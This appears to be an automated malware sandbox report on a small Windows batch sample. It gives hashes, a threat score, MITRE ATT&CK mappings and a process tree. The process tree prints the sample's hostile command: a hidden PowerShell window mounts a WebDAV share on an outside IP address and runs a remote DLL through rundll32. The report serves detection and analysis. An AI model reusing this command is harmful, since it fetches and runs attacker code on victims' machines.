3123af93014a5a5c49aa6fd2118f6805041af178c222be27e30b2fd477085c19

Resubmissions

11/12/2024, 15:32

241211-sy44nssrdm10

09/08/2024, 21:57

06/08/2024, 13:03

06/08/2024, 13:01

06/08/2024, 12:52

06/08/2024, 12:29

06/08/2024, 12:29

06/08/2024, 12:26

Analysis

max time kernel
7s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
06/08/2024, 12:52

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Report Analysis Logs

General

Target
1/c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5.bat
Size 2KB
Sample240806-p3672stdkg
SHA256 c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5
MD5 5617370486b7ded0ad8cf5ca9fc69e06
SHA1 3baa1dab061a9cb6a329dc72e3e35fa3829341fa
SHA512 a4a5d99cf5d1b3bed3819f24d297f5283107880d5c51010a11aed2d5f4545d9f52c648fcbc3f6d884f71d1cc1217a67dbae722cfc36baa65d4ca0e0948163772
MD5 SHA1 SHA512

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4872	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4872	powershell.exe
4872	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4872	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4568	wordpad.exe
4568	wordpad.exe
4568	wordpad.exe
4568	wordpad.exe
4568	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 408 wrote to memory of 4568	408	cmd.exe	83
PID 408 wrote to memory of 4568	408	cmd.exe	83
PID 408 wrote to memory of 4872	408	cmd.exe	86
PID 408 wrote to memory of 4872	408	cmd.exe	86
PID 4872 wrote to memory of 2360	4872	powershell.exe	88
PID 4872 wrote to memory of 2360	4872	powershell.exe	88
PID 4872 wrote to memory of 3336	4872	powershell.exe	89
PID 4872 wrote to memory of 3336	4872	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1\c8e5a24a6d2fa68d7976457a19576b381e6211202500af5280b0f3b256446bf5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:408
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\426.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2360
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\426.dll,entry
    3⤵
    PID:3336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_zblgswpa.k0b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zblgswpa.k0b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4872-8-0x000002DA83DD0000-0x000002DA83DF2000-memory.dmp

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